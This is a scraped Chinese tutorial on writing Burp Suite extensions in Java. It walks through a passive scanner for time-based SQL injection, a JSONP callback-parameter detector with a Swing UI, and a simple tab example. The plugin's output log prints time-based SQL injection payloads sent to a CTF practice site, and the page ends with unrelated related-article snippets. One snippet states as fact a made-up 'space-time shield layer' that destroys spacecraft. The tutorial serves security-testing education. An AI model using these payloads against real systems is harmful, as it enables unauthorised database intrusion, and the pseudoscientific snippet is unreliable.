IHttpRequestResponse接口
  • IParameter接口
BurpSuite插件开发_第6张图片
IParameter接口
  • IRequestInfo接口
BurpSuite插件开发_第7张图片
IRequestInfo接口
  • BurpExtend.java
package burp;

import java.io.PrintStream;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import org.apache.http.entity.ContentType;

import bsmali4.FuzzVul;

public class BurpExtender implements IBurpExtender, IScannerCheck {
    public IBurpExtenderCallbacks callbacks;
    public IExtensionHelpers helpers;
    public PrintWriter stdout;

    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
        this.callbacks = callbacks;
        stdout = new PrintWriter(callbacks.getStdout(), true);
        this.helpers = callbacks.getHelpers();

        callbacks.setExtensionName("Time-based sqlinject checks");

        callbacks.registerScannerCheck(this);

        System.out.println("Loaded Time-based sqlinject checks");
    }

    @Override
    public int consolidateDuplicateIssues(IScanIssue existingIssue,
            IScanIssue newIssue) {
        // TODO Auto-generated method stub
        return 0;
    }

    // 主动式扫描
    @Override
    public List doActiveScan(
            IHttpRequestResponse baseRequestResponse,
            IScannerInsertionPoint insertionPoint) {
        // TODO Auto-generated method stub
        return null;
    }

    // 被动式扫描
    @Override
    public List doPassiveScan(
            IHttpRequestResponse baseRequestResponse) {

        String method = this.helpers.analyzeRequest(baseRequestResponse)
                .getMethod();
        String url = this.helpers.analyzeRequest(baseRequestResponse).getUrl()
                .toString();
        if (!url.contains("google.com")) {
            if (method != null && method.trim().equals("POST")) {
                FuzzVul.checkPost(baseRequestResponse, helpers, stdout);
            } else if (method.trim().equals("GET")) {
                FuzzVul.checkGet(baseRequestResponse, helpers, stdout);
            }
        }
        return null;
    }

}
  • IBurpExtender接口
BurpSuite插件开发_第8张图片
IBurpExtender接口
BurpSuite插件开发_第9张图片
IBurpExtenderCallbacks
  • IScannerCheck接口
BurpSuite插件开发_第10张图片
IScannerCheck

** 上面是没有编写界面的情况，下面是编写界面的方法 **
编写的界面的效果如图：

BurpSuite插件开发_第11张图片
界面效果

编写界面的代码如下：

/*
 *  BurpSuite 插件开发指南之 Java 篇
 *  writend by Her0in 
 */
package burp;

import java.awt.BorderLayout;
import java.awt.Component;
import java.awt.Rectangle;
import java.awt.event.ComponentEvent;
import java.awt.event.ComponentListener;
import java.io.PrintWriter;
import java.util.Vector;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JSplitPane;
import javax.swing.JTabbedPane;
import javax.swing.ScrollPaneConstants;
import javax.swing.SwingUtilities;

public class BurpExtender implements IBurpExtender, ITab, IHttpListener{

    public PrintWriter stdout;
    public IExtensionHelpers hps;
    public IBurpExtenderCallbacks cbs;

    public IRequestInfo iRequestInfo;
    public IResponseInfo iResponseInfo;

    public JPanel jPanel_top;
    public JTabbedPane jTabbedPane; 
    public JScrollPane jScrollPane;
    public JSplitPane jSplitPaneV;

    // 自己封装一个 Table 控件
    private Her0inTable jsonTable;

    //请求，响应信息显示
    public JPanel jPanel_reqInfo_left;
    public JPanel jPanel_respInfo_right;
    public JSplitPane jSplitPaneInfo;
    public ITextEditor iRequestTextEditor;
    public ITextEditor iResponseTextEditor;

    Boolean bFind = false;
    String strTags = "";

    @Override
    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {

        callbacks.setExtensionName("JSON 水坑检测"); //设置扩展名称

        this.hps = callbacks.getHelpers();
        this.cbs = callbacks;
        this.stdout = new PrintWriter(callbacks.getStdout(), true);

        this.stdout.println("hello burp!");

        SwingUtilities.invokeLater(new Runnable() {
            @Override
            public void run() {

                // 初始化垂直分隔面板
                jSplitPaneV = new JSplitPane(JSplitPane.VERTICAL_SPLIT, true);
                jSplitPaneV.setDividerLocation(0.5);
                jSplitPaneV.setOneTouchExpandable(true);

                // 垂直分隔面板的顶部
                jPanel_top = new JPanel();
                // 设置垂直分隔面板顶部的子控件
                // 放置表格控件
                jTabbedPane = new JTabbedPane();

                // 初始化 Burp 提供的 ITextEditor 编辑器接口
                iRequestTextEditor = cbs.createTextEditor();
                iRequestTextEditor.setEditable(false);

                iResponseTextEditor = cbs.createTextEditor();
                iResponseTextEditor.setEditable(false);

                // 初始化 jsonTable
                jsonTable = new Her0inTable(iRequestTextEditor, iResponseTextEditor, stdout);

                // 最好放置一个 JScrollPane
                JScrollPane jScrollPane1 = new JScrollPane(jsonTable.getTab());
                jScrollPane1.setHorizontalScrollBarPolicy(ScrollPaneConstants.HORIZONTAL_SCROLLBAR_AS_NEEDED);
                jScrollPane1.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_AS_NEEDED);

                jTabbedPane.scrollRectToVisible(new Rectangle(500, 70));
                jTabbedPane.addTab("JSON 水坑检测", jScrollPane1);

                jScrollPane = new JScrollPane(jTabbedPane);
                jScrollPane.setHorizontalScrollBarPolicy(ScrollPaneConstants.HORIZONTAL_SCROLLBAR_AS_NEEDED);
                jScrollPane.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_AS_NEEDED);
                jPanel_top.add(jScrollPane, BorderLayout.CENTER);
                jPanel_top.setLayout(null);

                // 添加componentResized事件 否则在改变Burp 主窗口大小时会错位
                jPanel_top.addComponentListener(new ComponentListener() {

                    @Override
                    public void componentShown(ComponentEvent e) {
                    }

                    @Override
                    public void componentResized(ComponentEvent e) {
                            if(e.getSource() == jPanel_top){
                                    jScrollPane.setSize(jPanel_top.getSize().width - 5,
                                                    jPanel_top.getSize().height - 5);                           
                                    jScrollPane.setSize(jPanel_top.getSize().width - 10,
                                                    jPanel_top.getSize().height - 10);
                            }
                    }

                    @Override
                    public void componentMoved(ComponentEvent e) {
                            // TODO Auto-generated method stub
                    }

                    @Override
                    public void componentHidden(ComponentEvent e) {
                            // TODO Auto-generated method stub  
                    }
                });

                // 设置垂直分隔面板底部的子控件

                // 显示请求/响应 信息的水平分隔面板初始化
                jSplitPaneInfo = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT, true);
                jSplitPaneInfo.setDividerLocation(0.5);
                jSplitPaneInfo.setOneTouchExpandable(true); 

                // 初始化 请求，响应信息显示 面板                             
                jPanel_reqInfo_left = new JPanel();
                jPanel_respInfo_right = new JPanel();

                jPanel_reqInfo_left.setLayout(new BorderLayout());
                jPanel_respInfo_right.setLayout(new BorderLayout());

                // 将 Burp 提供的 ITextEditor 编辑器 添加到请求，响应信息显示 面板中
                jPanel_reqInfo_left.add(iRequestTextEditor.getComponent(),
                                BorderLayout.CENTER);
                jPanel_respInfo_right.add(iResponseTextEditor.getComponent(),
                                BorderLayout.CENTER);

                // 分别添加 请求，响应信息显示 面板 到 垂直分隔面板底部
                jSplitPaneInfo.add(jPanel_reqInfo_left, JSplitPane.LEFT);
                jSplitPaneInfo.add(jPanel_respInfo_right, JSplitPane.RIGHT);

                // 最后,为垂直分隔面板添加顶部面板和水平分隔面板
                jSplitPaneV.add(jPanel_top, JSplitPane.TOP);
                jSplitPaneV.add(jSplitPaneInfo, JSplitPane.BOTTOM);

                // 设置自定义组件并添加标签
                cbs.customizeUiComponent(jSplitPaneV);
                cbs.addSuiteTab(BurpExtender.this);
            }
        });

        callbacks.registerHttpListener(this);
    }

    // 实现 ITab 接口的 getTabCaption 方法
    @Override
    public String getTabCaption() {
        return "JSON 水坑检测";
    }

    // 实现 ITab 接口的 getUiComponent 方法
    @Override
    public Component getUiComponent() {
        return jSplitPaneV;
    }


    public void CheckJson(IHttpRequestResponse messageInfo) {
            try {
                this.iRequestInfo = this.hps.analyzeRequest(messageInfo);
                this.iResponseInfo = this.hps.analyzeResponse(messageInfo.getResponse());   
            } catch (Exception e) {
                return ;
            }

//            stdout.println(messageInfo.getHttpService().getHost());

            this.bFind = false;
            java.util.List listIParameters = iRequestInfo.getParameters();  
            strTags = "";
            for (IParameter param : listIParameters) {
                    String strName = param.getName().toLowerCase();
                    if(strName.indexOf("callback") != -1 || strName.indexOf("_callback") !=-1 ||
                                    strName.indexOf("cb") !=-1 || strName.indexOf("_cb") != -1 ||
                                    strName.indexOf("huidiao") !=-1 ){
                            strTags += "# find => " + strName;
                            this.bFind = true;
                    }
            }


            if(this.bFind){
                    Vector vectorRow = new Vector();
                    vectorRow.addElement(new String(Integer.toString(jsonTable.defaultTableModel.getRowCount())));
                    vectorRow.addElement(new String(this.iRequestInfo.getUrl().getHost()));
                    vectorRow.addElement(new String(this.iRequestInfo.getMethod()));
                    if(this.iRequestInfo.getUrl().getQuery() != null){
                            vectorRow.addElement(new String(this.iRequestInfo.getUrl().getPath() + "?" + this.iRequestInfo.getUrl().getQuery()));
                    }else{
                            vectorRow.addElement(new String(this.iRequestInfo.getUrl().getPath()));
                    }
                    vectorRow.addElement(new String(strTags));
                    jsonTable.defaultTableModel.addRow(vectorRow);
                    jsonTable.iHttpList.add(messageInfo);
            }
    }

    @Override
    public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {

        if (!messageIsRequest) {
            //JSON 检测
            this.CheckJson(messageInfo);
        }
    }
}

这个类是通过继承IBurpExtender, ITab, IHttpListener这三个接口来实现的。

  • ITab接口
BurpSuite插件开发_第12张图片
ITab接口 
package burp;

import java.awt.Component;
import java.io.PrintWriter;

import javax.swing.JButton;
import javax.swing.JPanel;
import javax.swing.SwingUtilities;

public class BurpExtender implements IBurpExtender, ITab{

    public PrintWriter stdout;
    public IExtensionHelpers helpers;

    private JPanel jPanel1;
    private JButton jButton1;

    @Override
    public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){

        this.stdout = new PrintWriter(callbacks.getStdout(), true);
        this.helpers = callbacks.getHelpers();
        callbacks.setExtensionName("Her0in");
        SwingUtilities.invokeLater(new Runnable() {
            @Override
            public void run() {
                 //创建一个 JPanel
                 jPanel1 = new JPanel();
                 jButton1 = new JButton("点我");

                 // 将按钮添加到面板中
                 jPanel1.add(jButton1);

                 //自定义的 UI 组件
                 callbacks.customizeUiComponent(jPanel1);
                 //将自定义的标签页添加到Burp UI 中
                 callbacks.addSuiteTab(BurpExtender.this);
            }
       });
    }

    @Override
    public String getTabCaption() {
        // 返回自定义标签页的标题
        return "Her0in";
    }

    @Override
    public Component getUiComponent() {
        // 返回自定义标签页中的面板的组件对象
        return jPanel1;
    }
}
  • IHttpListener接口
BurpSuite插件开发_第13张图片
IHttpListener接口

导入插件

BurpSuite插件开发_第14张图片
将编译出来的jar文件导入burpsuite中
BurpSuite插件开发_第15张图片
导出的结果

使用插件

BurpSuite插件开发_第16张图片
打开一个存在简单的sql注入的网页
BurpSuite插件开发_第17张图片
burpsuite拦截请求

点击Forword按钮后，切换到插件页面，选中sqlcheck插件，等一段时间后，可以看到输出的sql注入的结果。

BurpSuite插件开发_第18张图片
sql注入检测的结果 
coded by bsmali4
===========================================
=========this**found**a**sqlinject=========
GET /423/web/?id=1 HTTP/1.1
Host: ctf5.shiyanbar.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://ctf5.shiyanbar.com/423/web/
Connection: close
Upgrade-Insecure-Requests: 1
?id=1'admin'/**/or/**/sleep(5)/**/or/**/'x'='x';
===========================================

===========================================
=========this**found**a**sqlinject=========
GET /423/web/?id=1 HTTP/1.1
Host: ctf5.shiyanbar.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://ctf5.shiyanbar.com/423/web/
Connection: close
Upgrade-Insecure-Requests: 1
?id=1/**/and/**/sleep(5)/**/or/**/'1'='1'--
===========================================

你可能感兴趣的:(BurpSuite插件开发)

  • webpack插件开发必会Tapable web老猴子 webpack前端javascript
    认识Tapable官方对tapable的定义是钩子，业界很多写tapable的觉得它是发布订阅模式，它确实很像发布订阅模式，但是不完全是，至于官方说的钩子，个人感觉在webpack内部可以称作钩子，因为是官方定义的，所以肯定是按照设计的想法来使用的，如果是你自己使用，操作不当可能就不是钩子了，毕竟只是一个工具，你拿扳手当锤子也没人说你什么，以上是个人见解，下面附上一些验证的思路。不喜欢论证，喜欢看
  • 【漏洞挖掘】——53、 WebSocket安全概览 FLy_鹏程万里 【WEB渗透】websocket安全网络协议渗透测试信息安全网络安全web渗透
    文章前言在一次做项目的时候本来是想去点击Burpsuite的Proxy界面的HTTPHistory选项卡来查看HTTP历史请求记录信息并做测试的，但是在查看的时候却下意识的点击到了HTTPProxy右侧的"WebSocketsHistory"选项卡中，从界面的交互历史中发现网站有使用WebSocket进行通信，虽然之前有对Websocket有一些简单的了解(比如:跨越问题)，但是未对此进行深入研究
  • babel系列科普文 赖次Go
    《Babel插件开发入门指南》https://www.chyingp.com/posts/how-to-write-a-babel-plugin/《babel-preset-env学习指南》https://www.chyingp.com/posts/understanding-babel-preset-env/《Babel：plugin、preset的区别与使用》https://www.chyin
  • Vue + ElementUI 实现全国各个省份相对应城市的联动选择_vue+elementui 省市区联动 2401_84617681 程序员前端面试学习
    打开全栈工匠技能包-1小时轻松掌握SSR两小时精通jq+bs插件开发生产环境下如歌部署Node.js开源分享：【大厂前端面试题解析+核心总结学习笔记+真实项目实战+最新讲解视频】网易内部VUE自定义插件库NPM集成谁说前端不用懂安全，XSS跨站脚本的危害webpack的loader到底是什么样的？两小时带你写一个自己loader:rules="rules"label-width="150px">定
  • Pytest测试框架最常用的13个插件 -行业小白 pytest
    pytest是强大单元测试框架，框架本身已经提供了非常做的功能，就算自身不支持的功能，由于他提供了比较标准的插件开发能力，我们也可以利用插件完成相关的功能。本文收集了一些最最常用的一些pytest插件。以下是pytest常用插件的功能介绍、GitHub地址（本文不提供安装和使用示例，如果看到功能介绍觉得有用，请访问GitHub进一步了解使用）：1.pytest-html功能介绍：pytest-ht
  • 网站安全检测：推荐 8 款免费的 Web 安全测试工具 白帽黑客2659 安全网络测试工具运维服务器ddos网络安全
    目录1.OWASPZAP(ZedAttackProxy)2.BurpSuiteFreeEdition3.Nikto4.w3af5.SQLMap6.Arachni7.XSSer8.SecurityHeaders.io使用这些工具的建议网站安全是确保数据保护和系统完整性的重要组成部分。对于希望增强网站安全性的开发者和管理员来说，利用有效的工具进行定期的安全测试是必不可少的。以下是8款免费的Web安全测
  • 1_Burpsuite的安装 Enomothem
    第一步.下载并安装JDK百度jdk下载Java环境downloadjdk第二步.打开网址后下载最新版的jdk第三步，同意条款，直接下载exe或者压缩包第四步，打开安装程序，下一步第五步，安装路径默认就好了，下一步第六步，完成安装然后就等，弹出一个框，把上面的key放过去，产生一个key，再放回来，上面又产生一个key，又放过去就好了https://blog.csdn.net/liuhuaijin/
  • 【保姆级VSCode 插件开发之第一个插件项目常见问题】 XWWW668899 VSCode插件开发vscodeide编辑器
    保姆级VSCode插件开发第一章VSCode插件开发入门之第一个插件项目常见问题文章目录保姆级VSCode插件开发前言一、HelloWorld插件项目常见问题和解决方案1.常见问题2.解决方法2.1针对当我们输入Ctrl+Shift+P找不到HelloWorld命令的问题2.2找到HelloWorld插件，执行了之后没有右下角的消息显示总结前言基于上一篇文章中保姆级VSCode插件开发之第一个插件
  • Neuron协议网关的北向应用插件开发 神一样的老师 工业互联网网络华为云物联网
    目录概述指令处理层开发应用层开发.open.close.init.uninit.start.stop.setting.request插件设置文件适配华为的思路概述最近研究了一段时间的Neuron协议网关，前面的博文也提到它虽然能够把数据发到华为的IoT平台上，但是不支持华为的物模型，都是以自己的数据形式发送的。如果想支持华为的模型，就必须开发北向应用插件。今天就学习一下相关的开发。北向应用开发主要
  • 【渗透测试】利用hook技术破解前端JS加解密 - JS-Forward Hello_Brian 渗透测试安全Hook技术前端JS加解密渗透测试web安全
    前言在做渗透测试项目时，尤其是金融方面，经常会遇到前端JS加解密技术，看着一堆堆密密麻麻的密文，会给人一种无力感。Hook技术则会帮助我们无需获取加解密密钥的前提下，获取明文进行渗透测试环境准备JS-ForwardBurpsuiteFiddler网上公开的加解密逻辑漏洞的靶场源码某大佬搭建的公网测试环境（请礼貌使用）：http://39.98.108.20:8085/Hook-JS技术详解正常访问
  • 实现基于LLM的VSCode代码补全插件及网络搜索功能 今天不熬夜！ vscode笔记AI编程typescript
    文章目录前言一、代码补全代码实现实现效果:当前问题二、LLM+搜索引擎功能概述实现步骤代码实现结论前言本文将介绍如何利用VSCode插件开发环境结合大模型（LLM）来实现代码补全功能，并且介绍如何集成网络搜索功能以增强代码补全的能力.一、代码补全功能概述本插件能够在用户编写代码时提供智能代码补全建议。插件会读取鼠标光标上下文信息，将提示词和上下文代码作为输入，通过调用大模型得到输出，并将输出内容插
  • Eclipse设置全局UTF-8 小白羊MM
    如果要使插件开发应用能有更好的国际化支持，能够最大程度的支持中文输出，则最好使Java文件使用UTF-8编码。然而，Eclipse工作空间(workspace)的缺省字符编码是操作系统缺省的编码。在使用Eclipse时，若要使新建的工程全局都直接使用UTF-8编码而不需要一个个文件去设置，则可以按以下步骤去设置：1、打开“窗口->首选项->常规->工作空间”，将“文本文件编码”设置为UTF-8。那
  • 超越传统：探索Visual Basic在操作系统插件开发的新境界 哎呦没 microsoft
    标题：超越传统：探索VisualBasic在操作系统插件开发的新境界VisualBasic（VB），作为微软的老牌编程语言，以其简洁的语法和快速的开发能力在软件开发历史上占有一席之地。尽管VB并非现代操作系统插件或扩展开发的主流选择，但其在特定场景下仍具有一定的可行性。本文将探讨VisualBasic在开发操作系统插件或扩展时的应用潜力，并提供实际代码示例。1.VisualBasic简介Visua
  • Chrome插件开发入门：手把手教你创建第一个扩展 洛小豆 Chrome插件开发chrome数据库前端
    问题背景最近，客户发布了一个新的任务——开发一个Chrome插件。之前没有这方面的开发经验，准备想学习一下这块的内容，我发现网上的大多数视频都是几年前的，开发版本都是基于MV2，当前谷歌已经开始使用MV3（ManifestV3）版本了，我决定利用这次机会，从零开始，探索并记录整个开发过程。我的第一个目标是创建一个简单的Chrome插件，当用户点击工具栏上的图标时，如果插件处于激活状态，则在图标下方
  • Android逆向及渗透测试相关技术总结 ghost9527
    本文主要介绍使用一些工具对apk进行逆向获取部分源代码，并通过frida对函数进行Hook并修改其值；使用Burpsuite对app请求进行抓包并进行渗透测试，本文仅供交流学习。1、逆向先查看apk是否进行加壳，若加壳则需要使用脱壳工具进行脱壳，脱壳后拿到dex文件使用反编译工具对dex文件进行反编译获取源码进行分析。1.1壳分类加壳技术特点脱壳难度描述第一代：dex整体加密型壳采用dex整体加密
  • openGauss SQL引擎插件开发指导 openGaussMan sql数据库openGauss
    开发流程①在openGauss社区Plugin仓进行兼容性相关开发(openGauss/Plugin)②通过fastcheck自测以及CI门禁③提供checkin测试报告和开发文档并通过SIG组评审开发要点开放接口函数DLL_PUBLICPG_FUNCTION_INFO_V1_PUBLIC统一管理为了避免插件与内核同名函数所产生的符号冲突，我们在makefile中使用-fvisibility=hi
  • 【Eclipse插件开发】5JFace UI框架-中 Wumbuk Eclipse技术栈eclipseuijava
    【Eclipse插件开发】5JFaceUI框架-下文章目录【Eclipse插件开发】5JFaceUI框架-下三、用户接口资源3.1ImagedescriptorsandtheregistryImagedescriptor图像注册表3.2使用图像的插件模式在plugin.xml中指明图像显式的创建图像注册标签提供插件中的图像类3.3资源管理者3.4字体注册表
  • 安全测试工具安装指南：在统信UOS上部署Burp Suite 鹏大圣运维 linux统信UOS安全测试工具gitlinux操作系统国产化桌面
    原文链接：安全测试工具安装指南：在统信UOS上部署BurpSuite大家好！在网络安全领域，BurpSuite是一款不可或缺的工具，它提供了从初级映射和分析应用程序攻击面到查找和利用安全漏洞的一系列功能。今天，我将为大家介绍如何在统信UOS上安装BurpSuiteCommunityEdition（社区版），版本为2023.12.1.5。值得一提的是，社区版和专业版的安装方法基本一致。准备工作在开始
  • vulvhub-----Hacker-KID靶机 郑居中3.0 vulnhub靶机hacker-KIDweb安全python
    打靶详细教程1.网段探测2.端口服务扫描3.目录扫描4.收集信息burpsuite抓包5.dig命令6.XXE漏洞读取.bashrc文件7.SSTI漏洞8.提权1.查看python是否具备这个能力2.使用python执行exp.py脚本，如果提权成功，靶机则会开放5600端口1.网段探测┌──(root㉿kali)-[~]└─#arp-scan-lInterface:eth0,type:EN10M
  • 105.网游逆向分析与插件开发-网络通信封包解析-分析接收到的对话数据包 染指1110 网络网游逆向游戏
    内容参考于：易道云信息技术研究院VIP课上一个内容：接收数据的初步逆向分析通过上一个内容，找到了数据包出现的一个很重要的位置，只要hook之后就能很好的得到这个数据了然后来到明文数据的位置，把数据包复制出来：分析数据包：0206004D617374657214003131323233333434353536363737383839393030B502应该是一个数据头0600名字长度4D617374
  • Flutter插件开发指南02: 事件订阅 EventChannel flutter
    Flutter插件开发指南02:事件订阅EventChannel视频https://www.bilibili.com/video/BV1zj411d7k4/前言上一节我们讲了Channel通道，但是如果你是卫星定位业务，原生端主动推消息给Flutter这时候就要用到EventChannel通道了。本节会写一个1~50的计数器，到50后自动关闭原生的消息订阅。FlutterEventChannelF
  • Burpsuite工具使用 想拿 0day 的脚步小子 工具web安全网络安全系统安全安全
    1.简介BurpSuite是用于攻击web应用程序的集成平台。它包含了许多工具，并为这些工具设计了许多接口，以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP消息，持久性，认证，代理，日志，警报的一个强大的可扩展的框架。使用前需要安装java环境，常用来进行web应用的暴力破解。BurpIntruder是一个强大的工具，用于自动对Web应用程序自定义的攻击，BurpIntrud
  • Flutter插件开发指南02: 事件订阅 EventChannel flutter
    Flutter插件开发指南02:事件订阅EventChannel视频https://www.bilibili.com/video/BV1zj411d7k4/前言上一节我们讲了Channel通道，但是如果你是卫星定位业务，原生端主动推消息给Flutter这时候就要用到EventChannel通道了。本节会写一个1~50的计数器，到50后自动关闭原生的消息订阅。FlutterEventChannelF
  • Flutter插件开发指南01: 通道Channel的编写与实现 flutter
    Flutter插件开发指南01:通道Channel的编写与实现视频https://www.bilibili.com/video/BV1ih4y1E7E3/前言本文将会通过一个加法计算，来实现Channel的双向通讯，让大家有个一个体会。Flutter插件Flutter插件是Flutter应用程序与原生平台之间的桥梁，使得Flutter应用程序可以与原生代码进行交互，从而扩展Flutter应用程序的
  • 简单的edge浏览器插件开发记录 第五季度 javascript
    今天在浏览某些网页的时候，我想要屏蔽掉某些信息或者修改网页中的文本的颜色、背景等等。于是在浏览器的控制台中直接输入JavaScript操作dom完成了我想要的功能。但是每次在网页之间跳转该功能都会消失，我需要反复复制粘贴js脚本，无法实现自动化。于是我开始了解如何自动让JavaScript脚本在特定的url下生效。经过查找信息，我得知了可以通过开发一个edge的小插件来解决我遇到的需求。edge插
  • Stable Diffusion教程——常用插件安装与测试（一） 知来者逆 StableDiffusionstablediffusionsd插件提示词
    前言随着StableDiffusion不断演进，越来越多的开发者开始涉足插件开发。尽管网络上存在大量教程，但它们通常零散分布，逐个学习和查找非常耗时，使人感觉每天都在劳累思考。这里总结了StableDiffusion常用的插件安装与测试方法。prompt-all-in-one——提示词翻译补全插件地址：https://github.com/Physton/sd-webui-prompt-all-i
  • 全栈笔记_浏览器扩展篇（插件开发 - 发送axios请求） weiweivita 笔记
    axios简介是一个基于promise的HTTP库兼容浏览器和node.js环境，在浏览器中会创建XMLHttpRequests请求，在node.js中会创建http请求axios请求封装安装依赖：yarnaddaxios创建实例：使用自定义配置新建一个axios实例importaxiosfrom"axios";constaxiosIns=axios.create({baseURL:'https:
  • 抓包分析 TCP 协议 咖啡加 剁椒 软件测试tcp/ip网络协议网络功能测试软件测试自动化测试程序人生
    TCP协议是在传输层中，一种面向连接的、可靠的、基于字节流的传输层通信协议。环境准备对接口测试工具进行分类，可以如下几类：网络嗅探工具：tcpdump，wireshark代理工具：fiddler，charles，anyproxyburpsuite，mitmproxy分析工具：curl，postman，chromeDevtool抓包分析TCP协议tcpdumptcpdump是一款将网络中传送的数据包
  • Cookie,Session,JWT m0_70273331 Web前端经验分享前端前端框架
    这里的客户端可以是常规的浏览器，也可以是接口测试工具，如Postman，JMeter，Burpsuite等，其中浏览器在得到服务器响应的set-cookie后，会将cookie信息保存到本地的浏览器缓存（一个文件）中，postman也可以自动保存服务器响应的set-cookie信息，但是JMeter,Burpsuite不会，它们需要人为手动保存。客户端请求服务器时可以（不是必须）携带Cookie信
  • 96.网游逆向分析与插件开发-游戏窗口化助手-窗口化助手与游戏窗口同步移动 染指1110 游戏网游逆向逆向
    内容参考于：易道云信息技术研究院VIP课上一个内容：窗口化助手显示与大小调整码云地址（游戏窗口化助手分支）：https://gitee.com/dye_your_fingers/sro_-ex.git码云版本号：e85c0fc8b85895c8c2d3417ec3c75bcad8e7c41d代码下载地址，在SRO_EX目录下，文件名为：SRO_Ex-窗口化助手与游戏窗口同步移动.zip链接：htt
  • rust的指针作为函数返回值是直接传递，还是先销毁后创建？ wudixiaotie 返回值
     这是我自己想到的问题，结果去知呼提问，还没等别人回答， 我自己就想到方法实验了。。 fn main() { let mut a = 34; println!("a's addr:{:p}", &a); let p = &mut a; println!("p's addr:{:p}", &a
  • java编程思想 -- 数据的初始化 百合不是茶 java数据的初始化
      1.使用构造器确保数据初始化      /* *在ReckInitDemo类中创建Reck的对象 */ public class ReckInitDemo { public static void main(String[] args) { //创建Reck对象 new Reck(); } }
  • [航天与宇宙]为什么发射和回收航天器有档期 comsci
           地球的大气层中有一个时空屏蔽层,这个层次会不定时的出现,如果该时空屏蔽层出现,那么将导致外层空间进入的任何物体被摧毁,而从地面发射到太空的飞船也将被摧毁...        所以,航天发射和飞船回收都需要等待这个时空屏蔽层消失之后,再进行 &
  • linux下批量替换文件内容 商人shang linux替换
    1、网络上现成的资料 　　格式: sed -i "s/查找字段/替换字段/g" `grep 查找字段 -rl 路径` 　　linux sed 批量替换多个文件中的字符串 　　sed -i "s/oldstring/newstring/g" `grep oldstring -rl yourdir` 　　例如：替换/home下所有文件中的www.admi
  • 网页在线天气预报 oloz 天气预报
    网页在线调用天气预报 <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transit
  • SpringMVC和Struts2比较 杨白白 springMVC
    1. 入口 spring mvc的入口是servlet，而struts2是filter（这里要指出，filter和servlet是不同的。以前认为filter是servlet的一种特殊），这样就导致了二者的机制不同，这里就牵涉到servlet和filter的区别了。 参见：http://blog.csdn.net/zs15932616453/article/details/8832343 2
  • refuse copy, lazy girl! 小桔子 copy
           妹妹坐船头啊啊啊啊！都打算一点点琢磨呢。文字编辑也写了基本功能了。。今天查资料，结果查到了人家写得完完整整的。我清楚的认识到： 1.那是我自己觉得写不出的高度 2.如果直接拿来用，很快就能解决问题 3.然后就是抄咩~~ 4.肿么可以这样子，都不想写了今儿个，留着作参考吧！拒绝大抄特抄，慢慢一点点写！  
  • apache与php整合 aichenglong php apache web
    一  apache web服务器 1 apeche web服务器的安装   1)下载Apache web服务器   2)配置域名(如果需要使用要在DNS上注册)   3)测试安装访问http://localhost/验证是否安装成功 2 apache管理   1)service.msc进行图形化管理   2)命令管理，配
  • Maven常用内置变量 AILIKES maven
    Built-in properties ${basedir} represents the directory containing pom.xml ${version} equivalent to ${project.version} (deprecated: ${pom.version}) Pom/Project properties Al
  • java的类和对象 百合不是茶 JAVA面向对象 类 对象
    java中的类：     java是面向对象的语言，解决问题的核心就是将问题看成是一个类，使用类来解决   java使用 class 类名   来创建类 ，在Java中类名要求和构造方法，Java的文件名是一样的   创建一个A类： class A{ }   java中的类：将某两个事物有联系的属性包装在一个类中，再通
  • JS控制页面输入框为只读 bijian1013 JavaScript
    在WEB应用开发当中，增、删除、改、查功能必不可少，为了减少以后维护的工作量，我们一般都只做一份页面，通过传入的参数控制其是新增、修改或者查看。而修改时需将待修改的信息从后台取到并显示出来，实际上就是查看的过程，唯一的区别是修改时，页面上所有的信息能修改，而查看页面上的信息不能修改。因此完全可以将其合并，但通过前端JS将查看页面的所有信息控制为只读，在信息量非常大时，就比较麻烦。  
  • AngularJS与服务器交互 bijian1013 JavaScriptAngularJS$http
            对于AJAX应用（使用XMLHttpRequests）来说，向服务器发起请求的传统方式是：获取一个XMLHttpRequest对象的引用、发起请求、读取响应、检查状态码，最后处理服务端的响应。整个过程示例如下： var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange
  • [Maven学习笔记八]Maven常用插件应用 bit1129 maven
    常用插件及其用法位于：http://maven.apache.org/plugins/   1. Jetty server plugin 2. Dependency copy plugin 3. Surefire Test plugin 4. Uber jar plugin           1. Jetty Pl
  • 【Hive六】Hive用户自定义函数(UDF) bit1129 自定义函数
    1. 什么是Hive UDF Hive是基于Hadoop中的MapReduce，提供HQL查询的数据仓库。Hive是一个很开放的系统，很多内容都支持用户定制，包括： 文件格式：Text File，Sequence File 内存中的数据格式： Java Integer/String, Hadoop IntWritable/Text 用户提供的 map/reduce 脚本：不管什么
  • 杀掉nginx进程后丢失nginx.pid，如何重新启动nginx ronin47 nginx 重启 pid丢失
    nginx进程被意外关闭，使用nginx -s reload重启时报如下错误：nginx: [error] open() “/var/run/nginx.pid” failed (2: No such file or directory)这是因为nginx进程被杀死后pid丢失了，下一次再开启nginx -s reload时无法启动解决办法：nginx -s reload 只是用来告诉运行中的ng
